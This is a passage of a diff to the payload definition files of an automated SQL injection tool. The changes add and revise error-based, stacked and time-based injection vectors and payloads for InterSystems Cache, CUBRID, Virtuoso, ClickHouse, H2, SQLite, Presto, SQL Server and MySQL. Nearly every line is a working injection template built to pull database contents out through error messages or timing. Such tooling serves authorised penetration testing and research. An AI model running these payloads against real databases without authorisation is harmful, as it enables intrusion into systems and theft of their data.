<dbms>InterSystems Cache</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>InterSystems Cache OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>InterSystems Cache</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<!-- INET_ATON echoes its evaluated arg on a bad address; error-confirms only on CUBRID (MySQL returns NULL, others lack it) -->
|
||||
<vector>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Virtuoso AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<!-- bit_shift (Virtuoso-exclusive) encloses the value-bearing INTEGER cast: reflects on Virtuoso, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Virtuoso</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Virtuoso OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Virtuoso</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
@@ -880,7 +1042,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
@@ -899,7 +1061,7 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
@@ -911,6 +1073,65 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- getSetting backup (ClickHouse-exclusive, unlimited echo, funky/unlikely-filtered) -->
|
||||
<test>
|
||||
<title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>ClickHouse</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
|
||||
<stype>2</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<!-- ROTATELEFT (H2-exclusive) encloses the value-bearing INT cast: reflects on H2, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>H2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>H2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>
|
||||
<stype>2</stype>
|
||||
@@ -948,17 +1169,93 @@
|
||||
<dbms>Spanner</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
-->
|
||||
<!-- SQLite: an invalid JSON path is the one construct that errors and echoes its argument (needs JSON1) -->
|
||||
<test>
|
||||
<title>SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
<dbms_version>>= 3.9</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite >= 3.9 OR error-based - WHERE or HAVING clause (JSON path)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
<dbms_version>>= 3.9</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- Presto/Trino: PARSE_DATA_SIZE is engine-exclusive and echoes its argument ('Invalid data size: X') -->
|
||||
<test>
|
||||
<title>Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Presto</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Presto</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- End of error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
||||
|
||||
<!-- Error-based tests - LIMIT clause -->
|
||||
<test>
|
||||
<title>MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
@@ -1218,7 +1515,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||
</request>
|
||||
@@ -1495,7 +1792,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
|
||||
</request>
|
||||
@@ -1544,13 +1841,29 @@
|
||||
<dbms>IBM DB2</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!--
|
||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
||||
and SAP MaxDB - no known techniques at this time
|
||||
-->
|
||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||
|
||||
<!-- Error-based tests - stacking -->
|
||||
<test>
|
||||
<title>Microsoft SQL Server error-based - Stacking (RAISERROR)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</vector>
|
||||
<request>
|
||||
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||
<stype>2</stype>
|
||||
|
||||
@@ -141,7 +141,7 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
|
||||
@@ -207,7 +207,7 @@
|
||||
<title>PostgreSQL < 8.2 stacked queries (Glibc - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<risk>3</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
@@ -229,7 +229,7 @@
|
||||
<title>PostgreSQL < 8.2 stacked queries (Glibc)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<risk>3</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
|
||||
@@ -11,9 +11,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -31,9 +31,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -51,9 +51,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
||||
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -71,9 +71,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
||||
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -91,9 +91,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
||||
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -112,9 +112,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
||||
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -133,9 +133,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -154,9 +154,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -339,9 +339,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<request>
|
||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
||||
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -359,9 +359,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||
<request>
|
||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
||||
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -380,9 +380,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -400,9 +400,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
@@ -421,9 +421,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -441,9 +441,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
||||
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
@@ -460,9 +460,9 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
||||
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||
<request>
|
||||
